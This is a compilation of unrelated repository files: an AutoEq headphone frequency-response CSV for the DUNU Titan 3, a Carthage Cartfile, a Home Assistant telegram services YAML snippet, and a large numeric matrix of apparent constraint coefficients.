2569.57,10.87,0.71,10.92,0.76,-0.80,-0.82,-0.13,10.07,10.12,10.16 2595.27,11.02,0.76,11.03,0.77,-0.79,-0.81,-0.12,10.24,10.24,10.26 2621.22,11.18,0.81,11.16,0.79,-0.77,-0.79,-0.12,10.41,10.39,10.37 2647.43,11.27,0.80,11.26,0.80,-0.75,-0.76,-0.11,10.52,10.51,10.47 2673.90,11.31,0.75,11.30,0.74,-0.72,-0.72,-0.10,10.59,10.58,10.56 2700.64,11.30,0.66,11.30,0.66,-0.68,-0.66,-0.10,10.62,10.62,10.64 2727.65,11.27,0.56,11.32,0.61,-0.62,-0.60,-0.09,10.65,10.69,10.71 2754.93,11.32,0.55,11.32,0.55,-0.55,-0.52,-0.08,10.78,10.77,10.77 2782.48,11.34,0.52,11.30,0.48,-0.45,-0.43,-0.08,10.89,10.85,10.82 2810.30,11.22,0.36,11.23,0.37,-0.34,-0.33,-0.07,10.89,10.89,10.86 2838.40,11.09,0.22,11.09,0.21,-0.21,-0.22,-0.06,10.88,10.87,10.87 2866.79,10.92,0.04,10.95,0.07,-0.08,-0.10,-0.06,10.84,10.87,10.88 2895.46,10.81,-0.09,10.82,-0.07,0.05,0.03,-0.05,10.87,10.88,10.90 2924.41,10.74,-0.16,10.69,-0.21,0.20,0.17,-0.05,10.94,10.89,10.90 2953.65,10.53,-0.38,10.56,-0.35,0.36,0.32,-0.04,10.89,10.92,10.91 2983.19,10.41,-0.52,10.42,-0.51,0.51,0.47,-0.04,10.92,10.93,10.93 3013.02,10.29,-0.65,10.28,-0.66,0.65,0.63,-0.03,10.94,10.93,10.94 3043.15,10.14,-0.80,10.15,-0.80,0.79,0.79,-0.03,10.93,10.94,10.94 3073.58,10.02,-0.93,10.01,-0.94,0.93,0.95,-0.02,10.95,10.94,10.95 3104.32,9.86,-1.10,9.88,-1.08,1.06,1.11,-0.02,10.93,10.94,10.96 3135.36,9.75,-1.21,9.75,-1.21,1.21,1.27,-0.01,10.96,10.96,10.96 3166.72,9.62,-1.34,9.62,-1.34,1.36,1.42,-0.01,10.98,10.98,10.96 3198.38,9.48,-1.46,9.48,-1.46,1.50,1.56,-0.00,10.99,10.98,10.94 3230.37,9.31,-1.61,9.31,-1.61,1.65,1.69,0.00,10.96,10.96,10.92 3262.67,9.12,-1.78,9.11,-1.79,1.79,1.81,0.01,10.92,10.90,10.90 3295.30,8.91,-1.97,8.91,-1.97,1.93,1.91,0.01,10.85,10.85,10.88 3328.25,8.72,-2.14,8.75,-2.11,2.07,2.01,0.02,10.79,10.82,10.86 3361.53,8.62,-2.22,8.62,-2.22,2.20,2.10,0.02,10.82,10.82,10.84 3395.15,8.54,-2.27,8.51,-2.30,2.31,2.18,0.03,10.85,10.82,10.81 3429.10,8.39,-2.39,8.41,-2.37,2.39,2.25,0.04,10.79,10.80,10.78 3463.39,8.29,-2.45,8.27,-2.47,2.46,2.33,0.04,10.75,10.73,10.74 3498.03,8.15,-2.56,8.16,-2.55,2.50,2.42,0.05,10.65,10.66,10.71 3533.01,8.05,-2.62,8.09,-2.57,2.54,2.50,0.06,10.59,10.63,10.67 3568.34,8.04,-2.57,8.03,-2.58,2.57,2.60,0.06,10.62,10.60,10.61 3604.02,8.00,-2.54,7.97,-2.58,2.62,2.69,0.07,10.62,10.58,10.54 3640.06,7.85,-2.62,7.88,-2.58,2.67,2.79,0.08,10.52,10.55,10.47 3676.46,7.75,-2.63,7.75,-2.64,2.71,2.88,0.09,10.46,10.46,10.38 3713.22,7.61,-2.70,7.58,-2.73,2.75,2.96,0.10,10.37,10.33,10.31 3750.36,7.40,-2.84,7.42,-2.81,2.80,3.03,0.12,10.20,10.22,10.24 3787.86,7.25,-2.90,7.27,-2.89,2.83,3.06,0.13,10.09,10.10,10.15 3825.74,7.17,-2.91,7.17,-2.91,2.86,3.07,0.14,10.03,10.03,10.08 3864.00,7.11,-2.89,7.13,-2.87,2.86,3.04,0.16,9.97,9.99,10.00 3902.64,7.12,-2.80,7.10,-2.82,2.83,2.97,0.17,9.95,9.93,9.92 3941.66,7.10,-2.75,7.08,-2.77,2.75,2.86,0.19,9.85,9.84,9.85 3981.08,7.09,-2.70,7.11,-2.68,2.64,2.72,0.21,9.73,9.75,9.79 4020.89,7.14,-2.59,7.18,-2.55,2.50,2.56,0.23,9.65,9.68,9.73 4061.10,7.32,-2.35,7.29,-2.38,2.35,2.38,0.25,9.68,9.65,9.67 4101.71,7.45,-2.18,7.44,-2.19,2.20,2.18,0.27,9.66,9.65,9.63 4142.73,7.59,-2.01,7.61,-1.98,2.06,1.98,0.29,9.65,9.68,9.60 4184.15,7.75,-1.82,7.76,-1.82,1.92,1.78,0.32,9.67,9.68,9.57 4226.00,7.91,-1.65,7.86,-1.69,1.77,1.57,0.35,9.69,9.64,9.56 4268.26,7.95,-1.58,7.94,-1.59,1.62,1.36,0.37,9.57,9.56,9.53 4310.94,7.97,-1.54,8.02,-1.49,1.45,1.14,0.40,9.43,9.48,9.51 4354.05,8.12,-1.36,8.12,-1.36,1.27,0.93,0.43,9.39,9.39,9.48 4397.59,8.33,-1.11,8.30,-1.14,1.05,0.70,0.46,9.38,9.34,9.44 4441.56,8.51,-0.89,8.57,-0.84,0.79,0.46,0.49,9.30,9.35,9.40 4485.98,8.87,-0.49,8.87,-0.48,0.48,0.21,0.53,9.35,9.35,9.36 4530.84,9.25,-0.06,9.20,-0.11,0.13,-0.06,0.56,9.38,9.33,9.31 4576.15,9.56,0.29,9.57,0.30,-0.27,-0.35,0.60,9.30,9.30,9.27 4621.91,9.89,0.67,9.94,0.72,-0.69,-0.67,0.64,9.20,9.25,9.22 4668.13,10.34,1.17,10.32,1.16,-1.15,-1.03,0.68,9.19,9.17,9.17 4714.81,10.75,1.65,10.72,1.63,-1.64,-1.43,0.72,9.12,9.09,9.10 4761.96,11.11,2.10,11.13,2.11,-2.15,-1.86,0.76,8.96,8.98,9.01 4809.58,11.51,2.59,11.52,2.60,-2.69,-2.35,0.80,8.82,8.83,8.92 4857.67,11.93,3.13,11.93,3.14,-3.24,-2.89,0.84,8.69,8.69,8.80 4906.25,12.35,3.69,12.37,3.71,-3.79,-3.47,0.89,8.56,8.58,8.66 4955.31,12.80,4.28,12.79,4.27,-4.31,-4.08,0.93,8.49,8.48,8.52 5004.87,13.16,4.80,13.17,4.80,-4.76,-4.70,0.98,8.40,8.41,8.36 5054.91,13.46,5.24,13.46,5.25,-5.13,-5.26,1.03,8.33,8.33,8.22 5105.46,13.62,5.56,13.59,5.54,-5.39,-5.71,1.08,8.23,8.20,8.06 5156.52,13.57,5.68,13.55,5.66,-5.53,-5.96,1.13,8.05,8.03,7.89 5208.08,13.30,5.59,13.31,5.60,-5.51,-5.95,1.18,7.79,7.80,7.71 5260.16,12.92,5.40,12.90,5.38,-5.35,-5.67,1.24,7.57,7.55,7.52 5312.77,12.36,5.03,12.41,5.09,-5.06,-5.19,1.29,7.30,7.35,7.33 5365.89,11.80,4.69,11.82,4.71,-4.67,-4.57,1.35,7.13,7.15,7.11 5419.55,11.21,4.31,11.09,4.19,-4.20,-3.90,1.41,7.01,6.89,6.90 5473.75,10.31,3.62,10.29,3.61,-3.68,-3.22,1.47,6.63,6.61,6.69 5528.49,9.37,2.90,9.49,3.02,-3.11,-2.57,1.53,6.26,6.37,6.47 5583.77,8.70,2.44,8.72,2.47,-2.52,-1.97,1.59,6.18,6.20,6.26 5639.61,8.07,2.04,7.97,1.94,-1.92,-1.43,1.66,6.16,6.05,6.03 5696.00,7.27,1.45,7.21,1.39,-1.31,-0.93,1.73,5.96,5.89,5.82 5752.96,6.29,0.69,6.38,0.79,-0.73,-0.49,1.80,5.57,5.65,5.60 5810.49,5.56,0.18,5.52,0.15,-0.18,-0.09,1.87,5.39,5.35,5.38 5868.60,4.77,-0.38,4.72,-0.43,0.34,0.27,1.94,5.11,5.06,5.15 5927.28,3.96,-0.96,4.00,-0.91,0.83,0.59,2.02,4.79,4.83,4.92 5986.56,3.31,-1.39,3.34,-1.34,1.28,0.88,2.09,4.59,4.62,4.70 6046.42,2.76,-1.69,2.74,-1.69,1.68,1.14,2.17,4.44,4.42,4.45 6106.89,2.18,-2.00,2.17,-2.01,2.03,1.38,2.26,4.21,4.20,4.18 6167.96,1.54,-2.38,1.61,-2.31,2.33,1.59,2.34,3.87,3.94,3.92 6229.64,0.97,-2.70,1.09,-2.59,2.60,1.79,2.43,3.57,3.68,3.67 6291.93,0.48,-2.95,0.61,-2.84,2.84,1.98,2.52,3.32,3.45,3.43 6354.85,0.00,-3.20,0.19,-3.04,3.07,2.15,2.61,3.07,3.26,3.20 6418.40,-0.51,-3.49,-0.20,-3.24,3.28,2.30,2.70,2.78,3.08,2.98 6482.58,-0.99,-3.75,-0.57,-3.44,3.47,2.45,2.79,2.49,2.91,2.76 6547.41,-1.50,-4.07,-0.89,-3.63,3.63,2.59,2.89,2.13,2.75,2.57 6612.88,-1.96,-4.36,-1.14,-3.78,3.75,2.72,2.99,1.79,2.61,2.40 6679.01,-2.43,-4.67,-1.33,-3.90,3.83,2.84,3.09,1.41,2.50,2.24 6745.80,-2.84,-4.92,-1.43,-3.94,3.88,2.95,3.19,1.04,2.45,2.08 6813.26,-3.20,-5.10,-1.45,-3.93,3.88,3.06,3.29,0.69,2.44,1.90 6881.39,-3.51,-5.23,-1.40,-3.88,3.86,3.17,3.39,0.35,2.46,1.72 6950.21,-3.78,-5.32,-1.30,-3.79,3.81,3.27,3.49,0.03,2.51,1.54 7019.71,-4.01,-5.36,-1.19,-3.70,3.74,3.36,3.58,-0.26,2.55,1.35 7089.91,-4.15,-5.29,-1.09,-3.64,3.68,3.45,3.68,-0.47,2.59,1.14 7160.81,-4.39,-5.28,-1.02,-3.59,3.62,3.54,3.78,-0.76,2.61,0.89 7232.41,-4.63,-5.24,-0.96,-3.56,3.58,3.62,3.87,-1.04,2.62,0.61 7304.74,-4.78,-5.10,-0.93,-3.55,3.57,3.70,3.96,-1.21,2.64,0.32 7377.79,-4.93,-4.94,-0.92,-3.56,3.57,3.78,4.04,-1.36,2.65,0.01 7451.56,-5.16,-4.85,-0.93,-3.59,3.58,3.85,4.12,-1.57,2.65,-0.31 7526.08,-5.54,-4.91,-0.96,-3.62,3.61,3.93,4.19,-1.93,2.65,-0.63 7601.34,-5.76,-4.83,-1.00,-3.65,3.65,3.99,4.25,-2.11,2.65,-0.93 7677.35,-5.72,-4.53,-1.04,-3.69,3.69,4.06,4.31,-2.03,2.65,-1.19 7754.13,-5.79,-4.36,-1.09,-3.73,3.73,4.12,4.36,-2.06,2.63,-1.43 7831.67,-5.83,-4.20,-1.16,-3.78,3.77,4.18,4.40,-2.06,2.61,-1.63 7909.98,-5.81,-4.05,-1.22,-3.81,3.81,4.24,4.43,-2.00,2.58,-1.76 7989.08,-5.72,-3.86,-1.30,-3.86,3.85,4.29,4.45,-1.87,2.55,-1.86 8068.98,-5.56,-3.65,-1.37,-3.89,3.89,4.35,4.46,-1.67,2.52,-1.91 8149.67,-5.28,-3.36,-1.45,-3.93,3.93,4.40,4.46,-1.35,2.48,-1.92 8231.16,-4.97,-3.12,-1.54,-3.97,3.98,4.44,4.45,-0.98,2.44,-1.85 8313.47,-4.61,-2.87,-1.64,-4.02,4.04,4.49,4.43,-0.57,2.40,-1.74 8396.61,-4.26,-2.70,-1.75,-4.08,4.10,4.53,4.40,-0.16,2.35,-1.56 8480.57,-3.91,-2.58,-1.87,-4.15,4.16,4.57,4.36,0.26,2.29,-1.33 8565.38,-3.91,-2.84,-2.01,-4.23,4.23,4.61,4.31,0.32,2.22,-1.07 8651.03,-3.96,-3.22,-2.14,-4.31,4.29,4.65,4.25,0.33,2.15,-0.74 8737.54,-4.01,-3.64,-2.27,-4.38,4.35,4.68,4.19,0.34,2.08,-0.37 8824.92,-3.82,-3.86,-2.38,-4.43,4.41,4.72,4.12,0.59,2.03,0.04 8913.17,-3.71,-4.17,-2.49,-4.47,4.47,4.75,4.05,0.76,1.98,0.46 9002.30,-3.74,-4.64,-2.60,-4.51,4.52,4.77,3.98,0.79,1.93,0.90 9092.32,-3.73,-5.05,-2.72,-4.56,4.58,4.80,3.90,0.85,1.86,1.32 9183.25,-3.55,-5.28,-2.84,-4.61,4.63,4.82,3.82,1.08,1.78,1.73 9275.08,-3.31,-5.46,-2.98,-4.67,4.68,4.85,3.73,1.37,1.70,2.15 9367.83,-2.76,-5.33,-3.11,-4.73,4.73,4.87,3.65,1.97,1.62,2.57 9461.51,-1.92,-4.90,-3.24,-4.78,4.77,4.89,3.57,2.85,1.54,2.98 9556.12,-0.96,-4.33,-3.36,-4.83,4.82,4.91,3.49,3.86,1.46,3.37 9651.68,-0.31,-4.02,-3.48,-4.86,4.85,4.92,3.41,4.55,1.37,3.71 9748.20,0.32,-3.71,-3.60,-4.90,4.89,4.94,3.33,5.21,1.29,4.03 9845.68,0.12,-4.19,-3.71,-4.92,4.92,4.95,3.25,5.04,1.21,4.31 9944.14,-0.11,-4.69,-3.81,-4.94,4.95,4.97,3.18,4.84,1.13,4.58 10043.58,0.33,-4.50,-3.92,-4.95,4.97,4.98,3.11,5.31,1.05,4.83 10144.02,0.60,-4.47,-4.12,-4.99,5.00,4.99,3.05,5.60,0.88,5.07 10245.46,0.64,-4.66,-4.33,-5.03,5.03,5.00,2.99,5.67,0.70,5.30 10347.91,0.15,-5.36,-4.54,-5.07,5.06,5.01,2.93,5.22,0.53,5.51 10451.39,-0.57,-6.27,-4.75,-5.10,5.10,5.02,2.87,4.53,0.35,5.70 10555.91,-1.27,-7.13,-4.96,-5.14,5.13,5.02,2.83,3.86,0.17,5.86 10661.46,-1.65,-7.64,-5.17,-5.17,5.17,5.03,2.78,3.52,-0.01,5.99 10768.08,-1.63,-7.69,-5.39,-5.20,5.20,5.04,2.74,3.57,-0.19,6.06 10875.76,-1.17,-7.23,-5.60,-5.22,5.22,5.04,2.71,4.06,-0.38,6.06 10984.52,-0.54,-6.52,-5.82,-5.25,5.25,5.05,2.68,4.71,-0.57,5.98 11094.36,-0.72,-6.54,-6.04,-5.27,5.27,5.06,2.66,4.56,-0.77,5.82 11205.31,-1.04,-6.60,-6.26,-5.30,5.30,5.06,2.64,4.26,-0.97,5.56 11317.36,-1.98,-7.19,-6.49,-5.32,5.32,5.07,2.63,3.34,-1.17,5.21 11430.53,-2.43,-7.21,-6.71,-5.34,5.34,5.07,2.62,2.91,-1.38,4.78 11544.84,-3.12,-7.38,-6.94,-5.35,5.35,5.08,2.62,2.24,-1.59,4.26 11660.29,-3.74,-7.40,-7.17,-5.37,5.37,5.08,2.62,1.63,-1.80,3.66 11776.89,-4.68,-7.65,-7.40,-5.38,5.38,5.09,2.63,0.70,-2.02,2.97 11894.66,-5.86,-8.09,-7.64,-5.39,5.39,5.09,2.65,-0.46,-2.24,2.23 12013.60,-6.50,-7.92,-7.87,-5.40,5.40,5.10,2.67,-1.10,-2.47,1.42 12133.74,-6.83,-7.41,-8.11,-5.41,5.41,5.10,2.70,-1.42,-2.70,0.58 12255.08,-7.37,-7.09,-8.35,-5.42,5.42,5.11,2.74,-1.95,-2.93,-0.28 12377.63,-7.74,-6.59,-8.59,-5.42,5.42,5.11,2.79,-2.32,-3.17,-1.15 12501.41,-7.41,-5.40,-8.83,-5.42,5.42,5.12,2.84,-1.99,-3.41,-2.01 12626.42,-7.20,-4.33,-9.08,-5.42,5.42,5.13,2.90,-1.77,-3.66,-2.87 12752.68,-7.35,-3.68,-9.33,-5.42,5.42,5.13,2.98,-1.93,-3.91,-3.67 12880.21,-7.33,-2.91,-9.58,-5.42,5.42,5.14,3.06,-1.91,-4.16,-4.42 13009.01,-7.33,-2.23,-9.83,-5.41,5.41,5.14,3.15,-1.91,-4.41,-5.10 13139.10,-7.19,-1.47,-10.08,-5.41,5.41,5.15,3.25,-1.78,-4.67,-5.72 13270.49,-6.76,-0.52,-10.33,-5.40,5.40,5.15,3.37,-1.36,-4.94,-6.24 13403.20,-6.42,0.24,-10.59,-5.39,5.39,5.16,3.50,-1.03,-5.20,-6.66 13537.23,-5.47,1.53,-10.85,-5.37,5.37,5.16,3.64,-0.09,-5.47,-7.00 13672.60,-5.12,2.15,-11.11,-5.36,5.36,5.17,3.80,0.24,-5.75,-7.27 13809.33,-4.58,2.88,-11.37,-5.34,5.34,5.17,3.98,0.77,-6.03,-7.46 13947.42,-3.74,3.84,-11.63,-5.33,5.33,5.17,4.17,1.59,-6.31,-7.58 14086.90,-3.33,4.34,-11.90,-5.31,5.31,5.18,4.38,1.98,-6.59,-7.67 14227.77,-3.39,4.34,-12.17,-5.29,5.29,5.18,4.61,1.90,-6.88,-7.73 14370.04,-4.28,3.51,-12.44,-5.26,5.26,5.18,4.86,0.98,-7.18,-7.79 14513.74,-6.03,1.84,-12.71,-5.24,5.24,5.18,5.13,-0.79,-7.47,-7.87 14658.88,-7.69,0.32,-12.98,-5.21,5.21,5.18,5.42,-2.48,-7.77,-8.01 14805.47,-8.95,-0.77,-13.26,-5.18,5.18,5.18,5.72,-3.77,-8.08,-8.18 14953.52,-10.58,-2.18,-13.54,-5.15,5.15,5.18,6.04,-5.43,-8.39,-8.40 15103.06,-12.15,-3.44,-13.82,-5.12,5.12,5.17,6.37,-7.03,-8.70,-8.71 15254.09,-13.14,-4.08,-14.10,-5.08,5.08,5.16,6.69,-8.05,-9.01,-9.06 15406.63,-14.15,-4.71,-14.38,-5.05,5.05,5.16,7.00,-9.10,-9.33,-9.44 15560.70,-15.44,-5.60,-14.66,-5.01,5.01,5.15,7.27,-10.43,-9.65,-9.84 15716.30,-17.01,-6.76,-14.95,-4.97,4.97,5.13,7.48,-12.04,-9.98,-10.25 15873.47,-17.74,-7.09,-15.24,-4.93,4.93,5.12,7.61,-12.81,-10.31,-10.65 16032.20,-19.04,-7.96,-15.53,-4.89,4.89,5.10,7.63,-14.15,-10.64,-11.08 16192.52,-19.85,-8.25,-15.82,-4.84,4.84,5.08,7.53,-15.01,-10.98,-11.60 16354.45,-19.94,-7.85,-16.12,-4.79,4.79,5.05,7.31,-15.14,-11.32,-12.09 16517.99,-19.94,-7.38,-16.41,-4.74,4.74,5.03,6.98,-15.19,-11.67,-12.56 16683.17,-19.99,-6.98,-16.71,-4.69,4.69,4.99,6.57,-15.29,-12.02,-13.01 16850.01,-19.70,-6.28,-17.01,-4.64,4.64,4.95,6.09,-15.06,-12.37,-13.42 17018.51,-19.00,-5.19,-17.31,-4.59,4.59,4.91,5.59,-14.41,-12.73,-13.81 17188.69,-19.35,-5.12,-17.62,-4.53,4.53,4.86,5.08,-14.82,-13.09,-14.23 17360.58,-20.84,-6.23,-17.92,-4.47,4.47,4.80,4.57,-16.37,-13.45,-14.61 17534.18,-23.08,-8.12,-18.23,-4.41,4.41,4.74,4.08,-18.66,-13.82,-14.96 17709.53,-23.96,-8.68,-18.54,-4.35,4.35,4.66,3.63,-19.61,-14.19,-15.28 17886.62,-24.33,-8.74,-18.85,-4.29,4.29,4.58,3.20,-20.04,-14.56,-15.59 18065.49,-23.65,-7.69,-19.16,-4.22,4.22,4.49,2.81,-19.43,-14.94,-15.96 18246.14,-23.00,-6.61,-19.48,-4.16,4.16,4.38,2.45,-18.84,-15.32,-16.39 18428.60,-22.64,-5.84,-19.80,-4.09,4.09,4.27,2.13,-18.55,-15.71,-16.80 18612.89,-22.74,-5.55,-20.12,-4.02,4.02,4.14,1.84,-18.72,-16.10,-17.19 18799.02,-23.24,-5.66,-20.44,-3.94,3.94,3.99,1.58,-19.29,-16.49,-17.58 18987.01,-23.46,-5.53,-20.76,-3.87,3.87,3.83,1.35,-19.59,-16.89,-17.93 19176.88,-23.67,-5.31,-21.08,-3.79,3.79,3.64,1.14,-19.88,-17.29,-18.36 19368.65,-23.70,-4.92,-21.41,-3.71,3.71,3.44,0.96,-19.98,-17.70,-18.78 19562.33,-24.27,-5.09,-21.74,-3.63,3.63,3.22,0.80,-20.63,-18.10,-19.18 19757.96,-24.07,-4.52,-22.07,-3.55,3.55,2.97,0.66,-20.52,-18.52,-19.55 19955.54,-23.82,-3.90,-22.40,-3.47,3.47,2.70,0.53,-20.35,-18.93,-19.92

CSV

vinzmc/AutoEq

results/innerfidelity/innerfidelity_harman_in-ear_2019v2/DUNU Titan 3/DUNU Titan 3.csv

github "CanyFrog/HIComponents" "HQCache.2018.7.26" github "CanyFrog/HIComponents" "HQSqlite.2018.6.16" github "CanyFrog/HIComponents" "HQFoundation.2018.6.16"

Self

CanyFrog/HIComponents

HQDownload/Cartfile.self

reload: name: Reload description: Reload telegram notify services.

YAML

MrDelik/core

homeassistant/components/telegram/services.yaml

1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -75.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -70.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -33.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -46.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -75.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -39.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -33.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -75.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -33.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -36.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -75.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -80.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -33.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -69.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -75.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -86.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -33.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -21.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -70.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -39.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -46.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -70.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -46.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -36.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -70.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -80.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -46.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -69.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -70.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -86.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -46.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -21.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -39.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -45.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -36.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -39.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -80.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -45.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -69.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -39.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -86.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -45.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -21.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 -88.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 -80.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 -36.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 -69.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 -88.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 -86.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 -36.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 -21.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 -80.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 -86.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 -69.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 -21.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -75.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -70.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -39.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 -88.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 -80.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 -86.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 67.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 54.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 55.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 64.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 